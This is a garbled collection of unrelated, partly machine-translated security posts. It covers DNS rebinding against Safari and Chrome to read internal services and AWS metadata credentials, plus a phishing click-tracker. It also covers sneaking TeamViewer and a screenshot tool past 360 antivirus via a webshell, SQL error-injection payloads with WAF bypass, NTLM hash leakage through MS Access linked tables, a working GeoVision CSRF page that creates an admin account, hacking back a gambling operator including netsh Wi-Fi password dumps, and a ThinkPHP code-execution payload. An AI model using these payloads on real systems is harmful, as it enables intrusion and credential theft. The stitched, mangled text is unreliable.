只有當瀏覽器試圖首先與公共服務器通信並加載攻擊者的惡意頁面時,攻擊才會起作用。然後,攻擊者的web服務器開始阻止來自受害者瀏覽器的流量,導致瀏覽器退回到將所有請求發送到目標服務器。在這種情況下,攻擊者頁面中的JavaScript將能夠向同一來源下的目標IP地址發送請求。

1.png

這種技術確實繞過了緩存問題,因為瀏覽器只需要執行一次DNS查找,儘管在我的測試期間,所有主要瀏覽器都會始終嘗試在公共IP地址之前與私有IP地址通信,這意味著這些技術不起作用。雖然我不相信這種行為是為了防止DNS重新綁定,但它可以有效的阻止這種技術。

這種新行為促使我研究新的技術,可以用來在Safari和基於chrome的瀏覽器中實現瞬間DNS重新綁定。這些技術的關鍵是找到新的方法,使瀏覽器最初使用公共IP,然後在加載網站時切換到使用私有IP。打開Wireshark,我注意到在現代瀏覽器中加載網站時,會同時發送A和AAAA查詢。我開始調查這種行為是否可以用來可靠地執行DNS重新綁定。

攻擊Safari:延遲DNS響應當你在通過IPv6訪問互聯網的主機上加載Safari網頁時,分別為IPv4和IPv6地址發送A和AAAA DNS查詢。當返回多個IP地址時,Safari將優先考慮私有IP地址而不是公共IP地址。

當A或AAAA響應延遲時,Safari中允許快速DNS重新綁定的有趣行為會發生。在這種情況下,Safari不會等待所有DNS響應,而是在接收到第一個DNS響應後立即發送HTTP請求。當收到延遲的DNS響應時,此響應中的IP地址將被添加到IP地址池中,Safari可以在將來請求該域時使用該IP地址池。

這意味著,如果第一個DNS響應是針對公共IP地址的,而延遲的DNS響應是針對私有IP地址的,Safari將向公共IP地址發送第一個請求,直到接收到延遲的DNS響應,此時它將開始向私有IP地址發送請求。

2.png

這提供了一種在Safari中使用自定義DNS服務器實現DNS重新綁定的簡單方法,該服務器可處理*.r.inded.es的查詢:

1.加載目標瀏覽器http://safari.r.intrud.es,觸發safari.r.intrud.es的A和AAAA查找。

2.讓DNS服務器立即返回AAAA記錄,其中包含互聯網上攻擊者控制的web服務器的IPv6地址。暫時不要返回A響應。

3.一旦收到AAAA響應,Safari將向攻擊者的web服務器發出第一個請求。從攻擊者的web服務器返回一個帶有JavaScript的頁面來重複請求http://safari.r.intrud.es/secret.txt。

4.從DNS服務器發送包含本地網絡上目標服務器的IP地址的A響應。

5.Safari現在將對http://safari.r.intrud.es/secret.txt的請求發送到本地網絡上的目標服務器。從攻擊者的服務器加載的頁面可以讀取這些請求的響應,而不會違反同源策略。

為了實現這一點,我編寫了一個小型DNS服務器,可以使用命令行參數延遲DNS響應。在實踐中,我發現將A響應延遲100毫秒幾乎總是足夠的,儘管可以使用200毫秒或更長時間的延遲來使該技術更加可靠。可以在這裡https://github.com/intruder-io/dns-delay-server找到這個服務器以及設置它的說明。

我用來利用它的PHP腳本會將用戶重定向到r.introd.es的隨機子域,以避免中間緩存干擾利用。它還將JavaScript直接包含在頁面中,以避免另一個資源負載。你可以在這裡找到使用的代碼。

該腳本在操作中的視頻請點此,從本地web服務器檢索文件的內容:

3.jpg

我在iOS上的Safari和Brave上進行了測試,發現同樣的技術也可以用於訪問內部網絡上的服務。

攻擊Chrome:使用AAAA優先級Chrome將優先加載本地網絡上的頁面,而不是互聯網上的頁面,但在可用的情況下,它會優先加載IPv6而不是IPv4上的頁面。所以首要任務是:

1.本地IPv6(最高優先級);

2.公共IPv6;

3.當地IPv4;

4.公共IPv4(最低優先級);

這裡的關鍵部分是Chrome會優先考慮公共IPv6地址而不是私有IPv4地址。此外,當Chrome知道一個域的多個IP地址時,一旦服務器重置連接,它就會嘗試不同的IP地址。

4.png

這給出了一個針對Chrome的快速DNS重綁定計劃:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r.intrud.es。

2.讓DNS服務器返回指向本地網絡上目標web服務器的A記錄和指向公共互聯網上攻擊者控制的web服務器的AAAA記錄。

3.Chrome將優先考慮IPv6地址,並從攻擊者控制的web服務器發出第一個加載頁面的請求,該服務器返回JavaScript以重複向http://chrome.r.intrud.es/secret.txt發出請求。

4.關閉攻擊者控制的服務器,以便重置所有連接。 Chrome現在將把所有請求發送到本地網絡上的目標服務器。

5.讓加載的頁面向http://chrome.r.intrud.es/secret.txt發出請求。可以在不違反同源策略的情況下讀取對這些請求的響應。

這個計劃幾乎成功了。從互聯網加載的頁面上的JavaScript試圖向本地網絡上的目標發出請求,但這些請求被阻止,並在控制台中顯示以下錯誤:

Accesstofetchat'http://chrome.r.intrud.es/secret.txt'fromorigin'http://chrome.r.intrud.es'hasbeenblockedbyCORSpolicy:Therequestclientisnotasecurecontextandtheresourceisinmore-privateaddressspace`local`.出現此錯誤是因為Chrome部分實現了私有網絡訪問(PNA)https://wicg.github.io/private-network-access/規範中描述的保護。

繞過PNAPrivate Network Access(以前稱為CORS-RFC1918 )限制了網站向私有網絡上的服務器發送請求的能力。根據規範,此類請求只允許來自安全上下文。另外,該規範擴展了跨域資源共享(CORS)協議,因此網站現在必須在允許發送任意請求之前,必須顯式請求私有網絡上服務器的許可。

私有網絡是指目標服務器的IP地址比從其獲取請求服務器的IP地址更私有的請求。例如,從公共網站(https://example.com)向私有網站(http://router.local)的請求,或從私有網站向localhost 的請求。

PNA保護阻止通過普通HTTP從公共互聯網加載的頁面向私有網絡發出請求。在Chrome中,這些保護是為fetch請求實現的,但還沒有為iframe實現。不完整的實現以及DNS重新綁定允許繞過對獲取請求的PNA限制。

我們可以重複利用到上面的步驟4,其中公共web服務器已經關閉,所有對http://chrome.r.intrud.es的請求現在都被定向到本地網絡上的目標服務器。加載的首頁不能向本地網絡發出請求,因為它是通過HTTP從公共互聯網加載的,但是我們可以在iFrame中加載http://chrome.r.intrud.es。這個iFrame中的頁面將從目標web服務器加載。由於此服務器位於本地網絡上,因此允許在iFrame中加載的頁面向本地網絡發出請求。

iFrame中的頁面也與頂部頁面處於相同的起源,這使得頂部頁面可以完全控制框架頁面的DOM。這包括注入腳本,使獲取請求進入框架頁面。這些腳本可以用來訪問目標web服務器並洩露數據,就像如果PNA根本沒有實現的話,它們可以從首頁獲取數據一樣。

6.png

所以,把這些放在一起,我們最終得到了一個完整的步驟:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r. imports .es。

2.讓DNS服務器返回一條A記錄,指向本地網絡中的目標web服務器,並返回一條AAAA記錄,指向公網上攻擊者控制的web服務器。

3.Chrome將首先請求從攻擊者的web服務器加載頂部頁面,該服務器返回一個頁面以執行以下步驟。

4.關閉攻擊者控制的服務器,以便重置所有連接嘗試。 5.Chrome現在將把所有請求發送到本地網絡上的目標服務器。

6.從首頁,將一個腳本注入框架頁面以請求http://chrome.r.intrud.es/secret.txt並將響應發送到攻擊者的web服務器。

這可以在Chrome中實現瞬間DNS重新綁定。

7.jpg

為了幫助實現這個漏洞,我編寫了一個小型web服務器,當它接收到/block請求時將停止。你可以在這裡找到運行它的源代碼和說明。

當攻擊自動瀏覽器時,你通常想要在頁面中包含一個iFrame,這需要一些時間來加載。這將阻止瀏覽器認為頁面已完全加載,直到iFrame已加載,並確保漏洞利用腳本有足夠的時間運行。下面的演示顯示,當gowitness被用來從啟用了IPv6的EC2上截取惡意網站的截圖時,這個漏洞被用來從AWS元數據服務中提取憑證:

8.jpg

或者對於更可能在web應用程序中發現的場景,使用無頭Chromium將網頁轉換為PDF:

9.jpg

這種繞過Chrome的PNA限制的行為通過他們的問題跟踪器報告給了Chrome團隊。他們確定這不是安全問題,因為PNA的限制仍在實施過程中。

總結DNS重新綁定是攻擊web應用程序的一個武器。在本系列的第一篇文章中,我試圖展示如何在不太複雜的情況下實現針對web應用程序的重新綁定漏洞。在這篇文章中,我提供了一些工具和技術來構建可靠的漏洞攻擊驅動自動瀏覽器的web應用程序,即使它們只加載頁面很短的時間。

Currently, it is based on mqtt and Xiaomi devices. Will be improved in the future.效果演示 code is as follows type: picture-elements

image: -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E5%AE%A2%E5%8E%85_20240313144539.png

style:

width: 50%

elements:

- type: image

entity: light.led_1

tap_action:

action: none

style:

pointer-events: none

top: 50%

left: 50%

width: 100%

mix_blend_mode: lighten

state_image:

'off': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E9%80%8F%E6%98%8E_20240313163212.png

'on': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E5%AE%A2%E5%8E%85%E5%BC%80%E7%81%AF2_20240313163404.png

- type: image

entity: light.led_1

tap_action:

action: toggle

style:

top: 60%

left: 70%

width: 8%

state_image:

'off': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E7%81%AF%E5%85%A8%E5%85%B3_20240313160401.png

'on': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E7%81%AF%E5%BC%80_20240313145253.png

- type: image

entity: light.yelight_lamp1_b04b_light

tap_action:

action: none

style:

pointer-events: none

top: 50%

left: 50%

width: 100%

mix_blend_mode: lighten

state_image:

'off': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E9%80%8F%E6%98%8E_20240313163212.png

'on': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E9%A4%90%E5%8E%852_20240313162836.png

- type: image

entity: light.yelight_lamp1_b04b_light

tap_action:

action: toggle

style:

top: 60%

left: 30%

width: 8%

state_image:

'off': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E7%81%AF%E5%85%A8%E5%85%B3_20240313160401.png

'on': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E7%81%AF%E5%BC%80_20240313145253.png

- type: image

entity: switch.zhimi_ma2_73a6_switch_status

tap_action:

action: toggle

style:

top: 35%

left: 67%

width: 6%

state_image:

'on': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E7%A9%BA%E8%B0%83%E7%83%AD_20240313174945.gif

'off': -

https://xiaoyaozi666.oss-cn-beijing.aliyuncs.com/%E7%A9%BA%E8%B0%83%E5%86%B7_20240313174908.gif

一个好的钓鱼竿和诱饵很重要,但是真正将鱼与渔夫联系起来的是小浮标。

效果预览

当您在河边钓鱼时,您必须使用浮子来知道河里是否有鱼来吃诱饵。同样,当发送电子邮件时,该探测器可以确定目标是否点击了电子邮件,因此不难等待。

背景登录

tz0.png

信息视图

tz1.png

链接生成

此程序通过php中的readfile()函数读取本地图像。如果使用自定义图像,请在公共目录中替换info.png。这里的图片可以使用目标公司的徽标。

tz2.png

配置相关

基于ThinkPhp 6开发

操作环境需要Apache和Php7.1+

数据库文件是mail.sql

数据库和其他配置可以修改为env文件,默认值为

1234567891011121314151617APP_DEBUG=false[APP]DEFAULT_TIMEZONE=Asia/Shanghai[DATABASE]TYPE=mysqlHOSTNAME=127.0.0.1DATABASE=mailUSERNAME=rootPASSWORD=rootHOSTPORT=3306CHARSET=utf8DEBUG=false[LANG]default_lang=ZH-CN背景默认帐户密码(您可以通过修改密码直接替换库中的MD5)

1admin | 123456

下载地址

?username=r00tSe7en&theme=dracula&repo=Mail-Probe

谢谢

@c1y2m3共享想法

在这里,我们只需要360来操作。防病毒能力仍然比360的能力差。

电视官方免费安装版本

这是TeamViewer官方网站下载页面:https://WWW.TEAMVIEWER.CN/CN/CN/DOWNLOAD/WINDOWS/。大多数人都用来直接下载此安装版本以使用

1

我不知道您是否注意到了。实际上,TeamViewer还提供了无安装版本的安装版本

2

旁路360

所有以下所有内容都连接到互联网,检测和杀戮引擎已完全打开(请参阅文章封面)

原始操作

以下图以正常方式运行TeamViewerqs.s.exe。尽管有提示,您可以看到默认选项是允许操作。

3

在Webshell下运行

假设现在我有此主机的网状壳,然后直接在马来西亚执行此文件

4

发现它成功弹出了

5

但是我们如何获得ID和密码? Toast共享了一部修改后的电视,该电视支持将帐户密码输出到文件中,但肯定会在以后被杀死。今天,我看到了Coolcat Master:Portal的文章。文章中有一个好主意,可以通过屏幕快照的想法获得。但是,Master CoolCat使用Python屏幕截图。实际上,没有人愿意每次在目标机器上安装Python环境。它应该简单简单。

关于屏幕捕获

有许多项目从GitHub上的命令行中获取屏幕截图。我刚刚找到一个:https://github.com/darealshinji/cmdline-screenshot-tool

在Webshell中,执行屏幕截图-Advanced64.exe并发现它被360截获了。我不知道为什么C ++中的360个报告的Java漏洞攻击.

6

简单旁路360

这里的旁路方法也很简单。将ScreenShot-Advanced64.exe的后缀更改为.7Z(在命令行上执行二进制文件时可以忽略后缀名称),然后上传它们以执行。

7

然后查看网站的根目录

8

ScreenShost.png是生成的屏幕快照,如下

9

杀死360

与帐户密码直接连接。有了远程桌面的权限,您是否仍然担心360无法做到?

10

010-1011目标客户端必须确定可以连接到TeamViewer的服务器

您必须使用远程桌面用户权限来运行TeamViewerqs.s.exe,否则屏幕将是黑色的,如果您连接到它。

上述应用程序方案仅适用于管理员不在时,因为建立远程会话后,双方都会看到它们。

将您学到的知识付诸实践。

脆弱性发现

经过常规过程后,我发现已读取标签信息的功能点是可疑的:

1

重播单语言:

2

您可以看到单个引号被逃脱了。查看关闭方法。没有大问题,因为有回声,因此您可以直接使用错误注入。

错误注入

获取数据库用户

1127)或updatexml(1,concat(0x3a,user()),1 3

获取数据库

1127)或updatexml(1,(选择concat(0x7e,(schema_name),0x7e),inovys_schema.schema.schemata limit 0,1),1 4

绕过安全的狗

取出我一段时间以前学到的狗打手法(超长字符绕过,不同类型的不同类型,原理是相同的):门户网站

5

以下内容与常规错误报告没有什么不同,所以我不会说太多,了解精神〜

小技巧

在渗透测试中,您习惯于从开发人员的角度考虑实现功能,并且您会更快地发现有效的入口点。

结合Burpsuite入侵者模块中的GREP匹配功能,可以快速提取错误注射结果。

超长字符不仅可以用于绕过安全犬注入中,而且还可以使用XS来污染参数。

微信截图_20231111174838.png

10 月12 日,微軟宣布新一輪過渡計劃,棄用NTLM 身份認證方式,讓更多企業和用戶過渡到Kerberos。

Microsoft Access (Office套件的一部分)有一個“鏈接到遠程SQL Server表”的功能。攻擊者可能會濫用此功能,通過任意TCP端口(如端口80)自動將Windows用戶的NTLM令牌洩露給攻擊者控制的任何服務器。只要受害者打開.accdb或.mdb文件,就可以發起攻擊。事實上,更常見的Office文件類型(如.rtf)都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則,這些規則旨在阻止由外部攻擊發起的NTLM信息竊取。

什麼是NTLM?針對它的常見攻擊有哪些? NTLM是NT LANManager的縮寫,這也說明了協議的來源。 NTLM是指telnet的一種驗證身份方式,即問詢/應答身份驗證協議,是Windows NT 早期版本的標準安全協議,是Microsoft在1993年引入的一種目前已被棄用的身份驗證協議。微軟在今年10月宣布,棄用NTLM 身份認證方式,讓更多企業和用戶過渡使用Kerberos,Kerberos 提供了更好的安全保證,並且比NTLM 更具可擴展性,現在成為Windows 中首選默認協議。

企業雖然可以關閉NTLM 身份認證,但那些硬連線(hardwired)的應用程序和服務可能會遇到問題,為此微軟引入了兩個身份驗證功能。

其一是Initial and Pass Through Authentication Using Kerberos(IAKerb),允許“沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證”。

另一個是Kerberos 的本地密鑰分發中心(KDC),它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進,Kerberos 將成為唯一的Windows 身份驗證協議。

以下是針對NTLM的三種最著名的攻擊。

1.暴力攻擊利用NTLM哈希函數規範中的固有漏洞,從存儲在服務器上的NTLM哈希中恢復原始密碼。

2.傳遞哈希攻擊濫用了NTLM哈希來挑戰/響應模型來證實客戶端的身份,使得使用哈希而不是普通密碼這一事實在本質上毫無意義。

3.中繼攻擊通常被稱為“中間人”攻擊,攻擊者攔截握手交易,在與服務器交談時假扮成客戶端,反之亦然,這樣就可以將他們的消息互相傳遞,直到會話被驗證的關鍵時刻,此時攻擊者切斷合法客戶端並代替他們進行對話。

上述攻擊的緩解措施出現在Kerberos中,Kerberos是麻省理工學院開發的一種身份驗證協議,比NTLM早了整整五年。

不過,對於任何想要保留NTLM服務器的用戶來說,微軟設計了一個過渡機制,簡單地阻止通過NTLM協議使用的端口(139和445)的所有組織出站流量,使上述攻擊更加難以執行,這樣攻擊者就不可能獲得對網絡的初始Access的口令。這種由外部攻擊發起的攻擊技術被稱為“強制身份驗證”。

不過這種權宜之計總是漏洞百出。在這篇文章中,我們提出了一種新的方法,可以繞過這些端口使緩解措施失效,即可以直接針對內部用戶進行NTLM攻擊。這種方法通過濫用MS-Access應用程序中稱為“Access鍊錶”的功能來實現。

MS-Access中的鍊錶在討論攻擊者如何濫用此功能之前,我們將首先解釋該功能在用於合法目的時是如何正常工作的。使用鍊錶,用戶可以連接到外部數據庫,例如遠程Microsoft SQL服務器,這種功能的優勢應該是不言而喻的,不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候並不是一個很好的解決方案,而且絕對不是長久的解決方案。要激活該功能,用戶可以點擊“外部數據”選項卡的“ODBC Database”按鈕,如下所示。我們以Office 2010為例,但這同樣適用於所有版本的Office。

1.png

點擊“ODBC Database”按鈕啟動連接到Microsoft Access 2010上的遠程SQL Server的引導

MS-Access建議使用另一種方法,用一次性下載遠程表,這樣就可以將結果視為本地表。為了實際使用鏈接功能並與遠程數據庫同步,用戶選擇了另一個選項,“通過創建鍊錶鏈接到數據源”。

2.png

MS-Access允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇

然後,用戶在對話框中選擇“SQL Server”作為ODBC Database。

3.png

選擇ODBC Database類型的對話框

ODBC(OpenDatabaseConnectivity,開放數據庫互連)是微軟公司開放服務結構(WOSA,Windows Open Services Architecture)中有關數據庫的一個組成部分,它建立了一組規範,並提供了一組對數據庫訪問的標準API(應用程序編程接口)。

此時,用戶需要選擇使用遠程服務器進行身份驗證的方法,如下圖所示。

4.png

選擇SQL Server身份驗證方法的對話框

一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認為方便的方式進行選擇。為了方便講解,我們會假設用戶選擇使用自己的Windows ID憑據進行身份驗證的選項。此外,典型的用戶可能會將遠程服務器的端口保留為默認值(1433),但是,出於為了方便講解,我們暫時假設用戶選擇不經常使用的端口,例如端口80。

畢竟,沒有什麼可以阻止SQL服務器監聽端口80,一個合法組織的SQL服務器可能不會這樣做,但是如果有人這樣做了,網絡也不會產生什麼異常。

5.png

選擇服務器的IP地址、端口和協議的對話框

假設遠程SQL服務器的身份驗證成功並且所選表存在,那麼在客戶機的“tables”列表中就會出現一個表示鍊錶的新條目。當用戶點擊此條目時,將建立到該遠程數據庫的連接,並且MS-Access客戶端嘗試使用用戶的Windows憑據與SQL服務器進行身份驗證。

6.png

在MS-Access的“tables”列表中顯示的鍊錶

濫用鍊錶在將該功能武器化並轉化為NTLM中繼攻擊之前,攻擊者可以設置一個他們控制的服務器,監聽端口80,並將其IP地址放在上面的“服務器別名”字段中。然後,他們可以將數據庫文件(包括鍊錶)發送給受害者。如果受害者打開文件並點擊表,受害客戶端CV將聯繫攻擊者控制的服務器SA並嘗試進行身份驗證。然後,SA處於執行攻擊的最佳位置,它可以立即啟動同一組織中目標NTLM服務器ST的身份驗證過程,接收挑戰,並將該挑戰作為攻擊者控制的CV的一部分發送到CVSA身份驗證過程,接收有效響應,然後將該響應傳遞給SA來通過ST的成功身份驗證。身份驗證是使用TDS中封裝的NTLMSSP來完成的。讓受害者打開文件並點擊數據庫是一件很危險的事情。關於“點擊數據庫”部分,從技術上講,MS Access支持宏,因此攻擊者理論上可以創建一個自動打開鏈接表的宏,並將其設置為在打開文件時自動執行,這是通過將宏命名為AutoExec來實現的。當然,這是一條死胡同,因為隨後會提示用戶啟用宏,就在去年,微軟計劃推出了一項針對這種情況的新安全功能。這個功能不適用於簡單的MS Access宏。這些與成熟的VBA不同,它們的功能較弱,處理起來也不那麼謹慎。即使是2010年推出的可證明有效的“受保護視圖(protected view)”功能,該功能會提示用戶文檔“可能不安全”並提示用戶“啟用宏”。

7.png

添加一個打開鏈接表的MicrosoftAccess宏,並將其保存為“AutoExec”以在打開文件時執行

OLÉ, OLÉ, OLÉMicrosoft Access在Windows上註冊為“OLE鏈接”服務器。例如,可以在Word文檔中嵌入圖像,當文檔被打開時,MS-Paint將處理圖像並發回信息,從而使MS-Word可以內聯顯示圖像。

同樣,也可以將MS word文檔中的.accdb文件鏈接為OLE對象,該對象將自動下載(也可以通過端口80/tcp),然後由MS Access處理。像下面這樣簡單的字符串就會觸發這個行為:

\\\\111.111.111.111@80\\test.accdb

總的來說,整個攻擊鍊是這樣的:

8.png

濫用鍊錶

概念驗證為了方便研究,研究人員建立一個展示這種攻擊的概念驗證環境,禁用服務器的第一個響應數據包(PRE-LOGIN消息響應)中的加密,可以使研究的工作變得更容易,因為不需要處理TDS TLS加密。

以下是模擬受害者和虛假SQL服務器活動的過程,受害者位於典型的端口阻塞環境中(阻塞傳出的139/tcp和445/tcp流量,但允許80/tcp),而攻擊者控制的服務器位於公共雲中。受害者在試圖通過端口80上的服務器進行身份驗證時洩露了本地net-NTLMv2哈希值。

9.png

流量捕獲(PCAP)顯示了一次成功的攻擊,它使受害者通過端口80洩露了本地NTLM哈希

防禦和緩解措施研究人員已經成功地在所有可用的默認Windows + Office環境中復制了攻擊,包括最新的Windows 10/11 和Office 2021環境。

建議你可以考慮禁用MS-Access中的宏,或者如果MS-Access對你的Office套件安裝不是必需的,則將其從系統中完全刪除。

另外,請不要打開未經請求的附件。

# Exploit Title: GeoVision GV-ASManager 6.1.1.0 - CSRF 
# Google Dork: inurl:"ASWeb/Login"
# Date: 02-FEB-2025
# Exploit Author: Giorgi Dograshvili [DRAGOWN]
# Vendor Homepage: https://www.geovision.com.tw/
# Software Link: https://www.geovision.com.tw/download/product/
# Version: 6.1.1.0 or less
# Tested on: Windows 10 | Kali Linux
# CVE : CVE-2024-56901
# PoC: https://github.com/DRAGOWN/CVE-2024-56901

A Cross-Site Request Forgery (CSRF) vulnerability in Geovision GV-ASManager web application with the version 6.1.1.0 or less that allows attackers to arbitrarily create Admin accounts via a crafted GET request method. This vulnerability is used in chain with CVE-2024-56903 for a successful CSRF attack.

Requirements
To perform successful attack an attacker requires:
- GeoVision ASManager version 6.1.1.0 or less
- Network access to the GV-ASManager web application (there are cases when there are public access)
- Administrator's interaction with an open session in the browser

Impact
The vulnerability can be leveraged to perform the following unauthorized actions:
A unauthorized account is able to:
- Modify POST method request with GET by leveraging CVE-2024-56903 vulnerability.
- Craft a malicious HTML page which makes changes in the application on behalf of the administrator account.
- Create a new administrator account on behalf of the legit administrator account.
After the successful attack, an attacker will be able to:
- Access the resources such as monitoring cameras, access cards, parking cars, employees and visitors, etc.
- Make changes in data and service network configurations such as employees, access card security information, IP addresses and configurations, etc.
- Disrupt and disconnect services such as monitoring cameras, access controls.
- Clone and duplicate access control data for further attack scenarios.
- Perform CVE-2024-56902 attack to retrieve cleartext password that can be reused in other digital assets of the organization.


The CSRF code:

<html>
  <body>
    <form action="https://[TARGET]/ASWeb/bin/ASWebCommon.srf">				# Set the target
      <input type="hidden" name="action" value="UA&#95;SetCreateAccount" />
      <input type="hidden" name="id" value="Malicious" /> 					# Set Username
      <input type="hidden" name="password" value="Youarecracked999&#33;" />			# Set Password
      <input type="hidden" name="email" value="Malicious&#64;geovision&#46;com&#46;tw" />	# Set Email
      <input type="hidden" name="level" value="2" />						# Set privilege 1-Normal user 2-Administrator
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>


After a successful attack, you will get access to:
- ASWeb	- Access & Security Management 
- TAWeb	- Time and Attendance Management 
- VMWeb	- Visitor Management 
- ASManager - Access & Security Management software in OS
            

01序文

最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。

まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。

1049983-20240509092510634-1287905194.jpg

この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています

ued0003o3hh11319.png

それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。

uxmejyuamfc11321.png

ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか!

ytujs514m1y11323.png

その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。

el0uabesgdx11325.png

02テクノロジー番号1

私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。

ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。

3vhhfx0qews11327.png

スクリプトトロイの木馬

m2tjqxor2hl11329.png

あらゆる種類の本名証明書

obxthatll4011331.png

さまざまなバッチハッキングツール

vkmdxgyqpix11333.png

ブラックハットSEOキーワード

wultsnlyxjq11336.png

侵入に使用されるさまざまなVPSマシン

nn21luswd0j11338.png

さまざまなWebサイトを説明します

0wrnk1xblj511340.png

03イントラネットの拡張と浸透

各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。

ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。

192.168.1.1 78-44-FD-FD-55-B9ダイナミック

192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック

192.168.1.24 DC-2B-2A-C2-22-15ダイナミック

192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック

192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic

192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック

192.168.1.81 38-53-9C-EE-31-7Eニュース

192.168.1.83 38-71-DE-13-4F-D8ダイナミック

192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック

192.168.1.119 CC-44-63-18-08-4Cダイナミック

192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック

192.168.1.143 A4-D9-31-89-3D-C4ダイナミック

192.168.1.149 48-3B-38-45-4D-22ダイナミック

192.168.1.171 CC-29-F5-78-70-87ダイナミック

192.168.1.178 00-B3-62-7D-F6ダイナミック

192.168.1.206 B0-FC-36-30-79-7Bダイナミック

192.168.1.233 E4-F8-9C-9F-61-FEダイナミック

192.168.1.243 DC-41-5F-05-FE-EFダイナミック

192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static

224.0.0.22 01-00-5E-00-00-16静的

224.0.0.252 01-00-5E-00-00-FC静的

224.210.34.44 01-00-5E-52-22-2C静的

239.11.20.1 01-00-5E-0B-14-01静的

239.255.255.250 01-00-5E-7F-FF-FA静的

255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static

現在計算されているWiFiアカウントのパスワードを読んで読んでください

Netsh WLANはプロファイルを表示します

すべてのユーザープロファイル: 2317RL-5G

すべてのユーザープロファイル: 2317-ATA-5G

すべてのユーザープロファイル: Huawei-D91c

すべてのユーザープロファイル: TP-Link_6a68

すべてのユーザープロファイル: airtel-e5573-8318

すべてのユーザープロファイル: TP-LINK_88T8

すべてのユーザープロファイル: TB-Link-96A9

netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください'

vnjiduymdke11341.png

情報を収集し続けます

これは、ネットワークに行くハッカーです

ejypho3p4lk11342.png

04 second

3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。

l5hbfzic0gv11343.png

彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。

pngnjyqp5f011344.png

ロボットだけで240以上に達しました

オンラインでは10人未満の実際のユーザーがいます

5nhrlt3h0jf11345.png

xarc3y41guw11346.png

ハッカーの毎日の仕事は次のとおりです。

最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、

最も一般的に使用されるツールは、バッチツールです

jefcil2kinc11348.png

wkzengpu3sp11350.png

ryaajnotujq11351.png

次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します

現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。

wkyr1agvis011354.png

UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。

元のリンクアドレス:https://www.hackdoor.org/d/216-bc

本文不能追溯到安全团队官方帐户的来源

0x01简介

我使用ThinkPhp v5.0。*框架和调试模式启用了该网站。我认为可以通过发送有效载荷来解决它,但是我没想到要完成它的过程。

0x02触摸坑

尝试执行命令,系统受到限制

1.png

尝试包括日志文件,open_basedir限制

2.png

这是一个想法,您可以在运行时包含日志文件,但是ThinkPHP的日志文件相对较大,有时会有许多奇怪的问题阻止代码执行。让我们将其作为替代方案。

3.png

尝试通过在thinkphp本身库中设置会话方法,然后将其写入TMP目录中的会话文件,然后包含它

1_method=__ constructFilter []=Think \ Session \ Session:SetMethod=GetServer [request_method]=? phpinfo();

4.png

俗话说,

0x03 getshell

,三名鹅卵石是一个Zhuge Liang,在向大师赛寻求帮助后,他们提供了解决方案。

诺埃尔大师的解决方案和分析:

5.png

call_user_func存在于request.php的filterValue函数下。根据有效负载,该过程已被跟踪。

首先,您将输入app.php的运行方法

